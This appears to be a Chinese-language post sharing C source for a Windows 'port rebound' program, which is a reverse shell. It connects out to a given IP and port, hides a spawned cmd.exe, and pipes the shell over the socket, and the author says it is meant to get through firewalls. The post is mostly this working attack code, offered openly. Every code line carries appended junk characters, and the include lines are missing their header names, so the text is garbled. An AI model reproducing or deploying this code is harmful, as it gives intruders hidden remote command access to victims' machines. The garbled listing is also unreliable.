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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 i|{nj\6w^  
#5:A?aj  
/* ============================== Qg$Nj=Cw  
Rebound port in Windows NT yy.:0:ema  
By wind,2006/7 U\ E{-7  
===============================*/ >A( C9_\  
#include C2|2XL'l(C  
#include ;Y&?ixx  
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#pragma comment(lib,"wsock32.lib") 3$yL+%i  
@`8 B} C  
void OutputShell(); NITx;iC  
SOCKET sClient; z'D{:q  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Qbpl$L  
Fsj&/: q  
void main(int argc,char **argv) vA-p} ]%  
{ Fj('l  
WSADATA stWsaData; jz7ltoP  
int nRet; lR2;g:&H  
SOCKADDR_IN stSaiClient,stSaiServer; W3/Stt$D  
U5$DJ5>8  
if(argc != 3) K2 K6  
{ 4_0/]:~5  
printf("Useage:\n\rRebound DestIP DestPort\n"); Vg~ kpgB  
return; }w^ T9OC  
} Z=[a 8CU  
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WSAStartup(MAKEWORD(2,2),&stWsaData); Z3~*R7G8>  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); T*~)9o  
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stSaiClient.sin_family = AF_INET; 29657k8  
stSaiClient.sin_port = htons(0); #TwE??ms  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ]3u'Qv}o  
RW^v{'o  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) CuO*>g^K[  
{ (KImqB$i.  
printf("Bind Socket Failed!\n"); CvWEXY_P2  
return; ;C3?Ic  
} JJ=is}S|  
"{"2h>o#D}  
stSaiServer.sin_family = AF_INET; vK7,O%!S  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ^J~4~!  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); m$qC 8z]  
A1}+j-D7!y  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) .FRF<_`^  
{ fqsp1m$  
printf("Connect Error!"); J15T!_AW<  
return; PR6uw  
} i8@e}O I  
OutputShell(); .ehvhMuG|  
} <FT\u{9$  
fQ4$@  
void OutputShell() q=i<vcw  
{ ioCkPj  
char szBuff[1024]; R+hS;F nh%  
SECURITY_ATTRIBUTES stSecurityAttributes; q$'&RG  
OSVERSIONINFO stOsversionInfo; (jFE{M$-  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; lj*913aFh  
STARTUPINFO stStartupInfo; m1i$>9,  
char *szShell; Xb]?/7 X  
PROCESS_INFORMATION stProcessInformation; { (,vm}iFL  
unsigned long lBytesRead; 2e@\6l,!^  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Z=8CbS).  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); <X&:tZ #/  
stSecurityAttributes.lpSecurityDescriptor = 0; 7lPk~0  
stSecurityAttributes.bInheritHandle = TRUE; u3brb'Y+  
A1$'[8U~3  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); gdY/RDxn:  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); .: ;Hh~  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Ayt!a+J  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; F <Z=%M3e  
stStartupInfo.wShowWindow = SW_HIDE; ',7Z1O  
stStartupInfo.hStdInput = hReadPipe; +%9Y7qol  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; J c^ozw  
,#OG/r-H  
GetVersionEx(&stOsversionInfo); =:8=5tj  
}0),b ?*e  
switch(stOsversionInfo.dwPlatformId) )p9n|C  
{ G_4P)G3H  
case 1: Nj8)HR  
szShell = "command.com"; }"H900WE|  
break; Lb 4!N` l  
default: gRI|rDC)B  
szShell = "cmd.exe"; RUh{^3;~  
break; %y+j~]^:  
} "T=LHjE  
 +@7R,8  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); lf# six  
f L?~1i =  
send(sClient,szMsg,77,0); ovFfTP<3V  
while(1) Te#[+B?  
{ Zotv]P2k  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 2F7R,rr  
if(lBytesRead) @$G K<jl  
{ imQNfNm  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); '#6DI"vJ  
send(sClient,szBuff,lBytesRead,0); z# B) b5  
} kA`qExw%  
else d^^>3L!h  
{ Lr&BZM  
lBytesRead=recv(sClient,szBuff,1024,0); }C#d;JC  
if(lBytesRead<=0) break; dUSuhT  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 5L#M7E  
} U6PUt'Kk@  
} '|R|7nQAj  
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return; ~zRd||qv  
}
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